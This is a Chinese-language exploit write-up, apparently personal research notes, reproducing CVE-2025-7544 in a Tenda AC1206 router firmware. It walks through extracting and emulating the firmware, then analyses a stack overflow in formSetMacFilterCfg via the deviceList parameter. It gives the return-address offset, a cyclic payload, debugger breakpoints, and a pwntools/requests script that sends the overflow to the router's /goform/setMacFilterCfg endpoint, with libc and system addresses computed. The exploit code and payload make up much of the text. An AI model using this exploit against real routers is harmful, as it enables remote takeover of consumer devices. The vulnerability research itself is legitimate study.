复现 CVE-2025-7544
解压固件
docker run -t -v "$PWD":/analysis binwalkv3 -Me US_AC1206V1.0RTL_V15.03.06.23_multi_TD01.bin

模拟运行
先设置网桥 br0
ip link add name br0 type bridge
ip link set br0 up
ip addr add 10.0.0.1/24 dev br0
ip addr show br0
cp $(which qemu-mipsel-static) ./
chroot . ./qemu-mipsel-static ./bin/httpd

修改掉
运行成功

漏洞分析
路由器: ac12
根据nvd上的信息
此问题影响文件 /goform/setMacFilterCfg 中的函数 formSetMacFilterCfg。对参数 deviceList 的操作会导致基于栈的缓冲区溢出。攻击者可以远程发起攻击。该漏洞利用程序已公开,并可能被利用。
分析 formSetMacFilterCfg 主要接收两个参数
mac_filter_mode = websGetVar(wp, "macFilterType", defaultGetValue);
rule_list = websGetVar(wp, "deviceList", defaultGetValue);
调试后可以发现程序崩溃在了 parse_macfilter_rule
在parse_macfilter_rule中可以看到没有对source_rule以及rule_tmpa的长度进行检查便进行了复制
rule_tmpa为 source_rule 即 deviceList 中位于 \r 后面的部分,而 dest_rule 则是函数set_macfilter_rules_by_one栈上的变量
dest_rule 的结构为
struct dev_info {
char mac_addr[32];
char name[128];
};
找到返回地址的偏移

不过由于截断的存在,我们利用mac_addr来进行溢出
payload = b'aaaa'+b'\r'+cyclic(0x100+0x208-0x150+0x20)+p32(0x43398C)
可以看到成功修改了返回地址
b * 0x4E5CF8
b * 0x4e50b4
b * 0x4E5CCC
程序执行流也是重新来到了 main
#!/root/com/conda/envs/pwn/bin/python
from pwn import *
import requests
context(os = 'linux', arch = 'mips', log_level = 'debug')
# 禁用代理
session = requests.Session()
session.trust_env = False
elf = ELF('./httpd')
print(hex(elf.got['strcpy']))
ip = "10.0.0.1"
url = "http://" + ip + "/goform/setMacFilterCfg"
libc_base = 0x2b52f220-0x3D220
libc_system = libc_base + 0x60320
libc_read = libc_base + 0xF90C
print(hex(libc_base))
print(hex(libc_system))
print(hex(libc_read))
payload = b'aaaa'+b'\r'+cyclic(0x100+0x208-0x150+0x20)+p32(0xaaaaaaaa)
print(payload)
data = {
"macFilterType": "white",
"deviceList": payload
}
r = session.get(url, params=data)
r = session.get(url, params=data)
用户态
在用户态下,我们来手动确定libc基地址
print(hex(elf.got['strcpy']))
libc_base = 0x2b52f220-0x3D220